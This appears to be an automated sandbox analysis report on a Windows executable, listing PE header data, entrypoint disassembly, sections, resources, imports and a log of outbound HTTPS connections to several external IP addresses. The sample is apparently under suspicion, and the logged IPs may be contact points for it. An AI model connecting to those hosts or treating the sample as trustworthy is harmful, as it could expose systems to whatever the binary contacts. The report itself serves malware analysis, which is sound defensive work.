                                                                                                                                                                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d..

                                                                                                                                                                                                                                            File Icon

                                                                                                                                                                                                                                            Icon Hash:1262a1a0aa92aa8a

                                                                                                                                                                                                                                            Static PE Info

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Entrypoint:0x14000ce20
                                                                                                                                                                                                                                            Entrypoint Section:.text
                                                                                                                                                                                                                                            Digitally signed:false
                                                                                                                                                                                                                                            Imagebase:0x140000000
                                                                                                                                                                                                                                            Subsystem:windows gui
                                                                                                                                                                                                                                            Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                                                                                                                            DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                            Time Stamp:0x67520AF3 [Thu Dec 5 20:20:03 2024 UTC]
                                                                                                                                                                                                                                            TLS Callbacks:
                                                                                                                                                                                                                                            CLR (.Net) Version:
                                                                                                                                                                                                                                            OS Version Major:6
                                                                                                                                                                                                                                            OS Version Minor:0
                                                                                                                                                                                                                                            File Version Major:6
                                                                                                                                                                                                                                            File Version Minor:0
                                                                                                                                                                                                                                            Subsystem Version Major:6
                                                                                                                                                                                                                                            Subsystem Version Minor:0
                                                                                                                                                                                                                                            Import Hash:72c4e339b7af8ab1ed2eb3821c98713a

                                                                                                                                                                                                                                            Entrypoint Preview

                                                                                                                                                                                                                                            Instruction
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            sub esp, 28h
                                                                                                                                                                                                                                            call 00007F9CDD16C30Ch
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            add esp, 28h
                                                                                                                                                                                                                                            jmp 00007F9CDD16BF2Fh
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            sub esp, 28h
                                                                                                                                                                                                                                            call 00007F9CDD16C6D8h
                                                                                                                                                                                                                                            test eax, eax
                                                                                                                                                                                                                                            je 00007F9CDD16C0D3h
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            mov eax, dword ptr [00000030h]
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            mov ecx, dword ptr [eax+08h]
                                                                                                                                                                                                                                            jmp 00007F9CDD16C0B7h
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            cmp ecx, eax
                                                                                                                                                                                                                                            je 00007F9CDD16C0C6h
                                                                                                                                                                                                                                            xor eax, eax
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            cmpxchg dword ptr [0003570Ch], ecx
                                                                                                                                                                                                                                            jne 00007F9CDD16C0A0h
                                                                                                                                                                                                                                            xor al, al
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            add esp, 28h
                                                                                                                                                                                                                                            ret
                                                                                                                                                                                                                                            mov al, 01h
                                                                                                                                                                                                                                            jmp 00007F9CDD16C0A9h
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            sub esp, 28h
                                                                                                                                                                                                                                            test ecx, ecx
                                                                                                                                                                                                                                            jne 00007F9CDD16C0B9h
                                                                                                                                                                                                                                            mov byte ptr [000356F5h], 00000001h
                                                                                                                                                                                                                                            call 00007F9CDD16B805h
                                                                                                                                                                                                                                            call 00007F9CDD16CAF0h
                                                                                                                                                                                                                                            test al, al
                                                                                                                                                                                                                                            jne 00007F9CDD16C0B6h
                                                                                                                                                                                                                                            xor al, al
                                                                                                                                                                                                                                            jmp 00007F9CDD16C0C6h
                                                                                                                                                                                                                                            call 00007F9CDD17960Fh
                                                                                                                                                                                                                                            test al, al
                                                                                                                                                                                                                                            jne 00007F9CDD16C0BBh
                                                                                                                                                                                                                                            xor ecx, ecx
                                                                                                                                                                                                                                            call 00007F9CDD16CB00h
                                                                                                                                                                                                                                            jmp 00007F9CDD16C09Ch
                                                                                                                                                                                                                                            mov al, 01h
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            add esp, 28h
                                                                                                                                                                                                                                            ret
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            int3
                                                                                                                                                                                                                                            inc eax
                                                                                                                                                                                                                                            push ebx
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            sub esp, 20h
                                                                                                                                                                                                                                            cmp byte ptr [000356BCh], 00000000h
                                                                                                                                                                                                                                            mov ebx, ecx
                                                                                                                                                                                                                                            jne 00007F9CDD16C119h
                                                                                                                                                                                                                                            cmp ecx, 01h
                                                                                                                                                                                                                                            jnbe 00007F9CDD16C11Ch
                                                                                                                                                                                                                                            call 00007F9CDD16C64Eh
                                                                                                                                                                                                                                            test eax, eax
                                                                                                                                                                                                                                            je 00007F9CDD16C0DAh
                                                                                                                                                                                                                                            test ebx, ebx
                                                                                                                                                                                                                                            jne 00007F9CDD16C0D6h
                                                                                                                                                                                                                                            dec eax
                                                                                                                                                                                                                                            lea ecx, dword ptr [000356A6h]
                                                                                                                                                                                                                                            call 00007F9CDD179402h

                                                                                                                                                                                                                                            Data Directories

                                                                                                                                                                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x3ca340x78.rdata
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x470000x19a1c.rsrc
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x440000x2238.pdata
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x610000x764.reloc
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x3a0800x1c.rdata
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x39f400x140.rdata
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x2b0000x4a0.rdata
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                            Sections

                                                                                                                                                                                                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                            .text0x10000x29f700x2a000b8c3814c5fb0b18492ad4ec2ffe0830aFalse0.5518740699404762data6.489205819736506IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                            .rdata0x2b0000x12a280x12c00c8d83649a00600a4564b119eb853a167False0.5242838541666667data5.750751049546784IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                            .data0x3e0000x53f80xe00dba0caeecab624a0ccc0d577241601d1False0.134765625data1.8392217063172436IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                            .pdata0x440000x22380x24009cd1eac931545f28ab09329f8bfce843False0.4697265625data5.2645170849678795IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                            .rsrc0x470000x19a1c0x19c0035db13bd970349e79d066a52e38a415aFalse0.07967991504854369data3.7032712285528175IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                            .reloc0x610000x7640x800816c68eeb419ee2c08656c31c06a0fffFalse0.5576171875data5.2809528666624175IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                            Resources

                                                                                                                                                                                                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                            RT_ICON0x471d80xdcfPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.925035360678925
                                                                                                                                                                                                                                            RT_ICON0x47fa80x10828Device independent bitmap graphic, 128 x 256 x 32, image size 655360.02200402224062463
                                                                                                                                                                                                                                            RT_ICON0x587d00x4228Device independent bitmap graphic, 64 x 128 x 32, image size 163840.05402692489371753
                                                                                                                                                                                                                                            RT_ICON0x5c9f80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 92160.0766597510373444
                                                                                                                                                                                                                                            RT_ICON0x5efa00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 40960.12781425891181988
                                                                                                                                                                                                                                            RT_ICON0x600480x468Device independent bitmap graphic, 16 x 32 x 32, image size 10240.28102836879432624
                                                                                                                                                                                                                                            RT_GROUP_ICON0x604b00x5adata0.7666666666666667
                                                                                                                                                                                                                                            RT_MANIFEST0x6050c0x50dXML 1.0 document, ASCII text0.4694508894044857

                                                                                                                                                                                                                                            Imports

                                                                                                                                                                                                                                            DLLImport
                                                                                                                                                                                                                                            USER32.dllCreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
                                                                                                                                                                                                                                            COMCTL32.dll
                                                                                                                                                                                                                                            KERNEL32.dllGetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
                                                                                                                                                                                                                                            ADVAPI32.dllOpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
                                                                                                                                                                                                                                            GDI32.dllSelectObject, DeleteObject, CreateFontIndirectW

                                                                                                                                                                                                                                            Network Behavior

                                                                                                                                                                                                                                            Network Port Distribution

                                                                                                                                                                                                                                            TCP Packets

                                                                                                                                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.796857119 CET49707443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.796904087 CET44349707104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.797982931 CET49707443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.798887968 CET49707443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:55.798899889 CET44349707104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.016303062 CET44349707104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.017553091 CET49707443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.017564058 CET44349707104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.018950939 CET44349707104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.019016981 CET49707443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.033386946 CET49707443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.033536911 CET44349707104.26.12.205192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.033580065 CET49707443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.033689022 CET49707443192.168.2.8104.26.12.205
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.175947905 CET49708443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.176000118 CET4434970845.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.176059008 CET49708443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.176826000 CET49708443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:57.176837921 CET4434970845.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.565197945 CET4434970845.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.565643072 CET49708443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.565665960 CET4434970845.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.566726923 CET4434970845.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.566807985 CET49708443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.568249941 CET49708443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.568393946 CET4434970845.112.123.126192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.568413973 CET49708443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.568437099 CET49708443192.168.2.845.112.123.126
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.708313942 CET49711443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.708411932 CET44349711159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.708498955 CET49711443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.708956957 CET49711443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:44:58.708992958 CET44349711159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.513504028 CET44349711159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.513943911 CET49711443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.513963938 CET44349711159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.515028000 CET44349711159.89.102.253192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.515083075 CET49711443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.516582012 CET49711443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:00.516730070 CET49711443192.168.2.8159.89.102.253
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.101665974 CET49714443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.101699114 CET44349714162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.101766109 CET49714443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.102305889 CET49714443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.102315903 CET44349714162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.163835049 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.163855076 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.164139032 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.177280903 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:01.177289009 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.317420959 CET44349714162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.333170891 CET49714443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.333214998 CET44349714162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.334554911 CET44349714162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.334633112 CET49714443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.335721970 CET49714443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.335942030 CET44349714162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.335992098 CET49714443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.336131096 CET49714443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.337502003 CET49716443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.337600946 CET44349716162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.337691069 CET49716443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.338253975 CET49716443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.338288069 CET44349716162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.568964958 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.569041014 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.580825090 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.580846071 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.581204891 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.584379911 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.584441900 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:02.584481955 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.260523081 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.260608912 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.260688066 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.275522947 CET49715443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.275552034 CET4434971531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.547370911 CET44349716162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.547964096 CET49716443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.547983885 CET44349716162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.549247980 CET44349716162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.549355984 CET49716443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.550395012 CET49716443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.550575018 CET44349716162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.550579071 CET49716443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.550694942 CET49716443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.551742077 CET49717443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.551850080 CET44349717162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.551945925 CET49717443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.554974079 CET49717443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.555011988 CET44349717162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.632113934 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.632221937 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.632436991 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.647418022 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:03.647455931 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.799941063 CET44349717162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.800710917 CET49717443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.800739050 CET44349717162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.804368973 CET44349717162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.804450989 CET49717443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.805972099 CET49717443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.806118965 CET49717443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.807677984 CET49721443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.807717085 CET44349721162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.807821035 CET49721443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.808192015 CET49721443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:04.808204889 CET44349721162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.048861027 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.048934937 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.050309896 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.050319910 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.050539017 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.053487062 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.053719044 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.053721905 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.720989943 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.721081018 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.721137047 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.783993006 CET49720443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:05.784028053 CET4434972031.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.018450975 CET44349721162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.019094944 CET49721443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.019109964 CET44349721162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.020168066 CET44349721162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.020219088 CET49721443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.021441936 CET49721443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.021574020 CET44349721162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.021585941 CET49721443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.021610975 CET49721443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.022624016 CET49722443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.022670031 CET44349722162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.022764921 CET49722443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.023040056 CET49722443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.023051023 CET44349722162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.299321890 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.299343109 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.299463034 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.338449955 CET49725443192.168.2.831.14.70.245
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:06.338465929 CET4434972531.14.70.245192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.233500004 CET44349722162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.233954906 CET49722443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.233983040 CET44349722162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.235035896 CET44349722162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.235104084 CET49722443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.236355066 CET49722443192.168.2.8162.159.138.232
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.236495018 CET44349722162.159.138.232192.168.2.8
                                                                                                                                                                                                                                            Dec 13, 2024 08:45:07.236702919 CET49722443192.168.2.8162.159.138.232
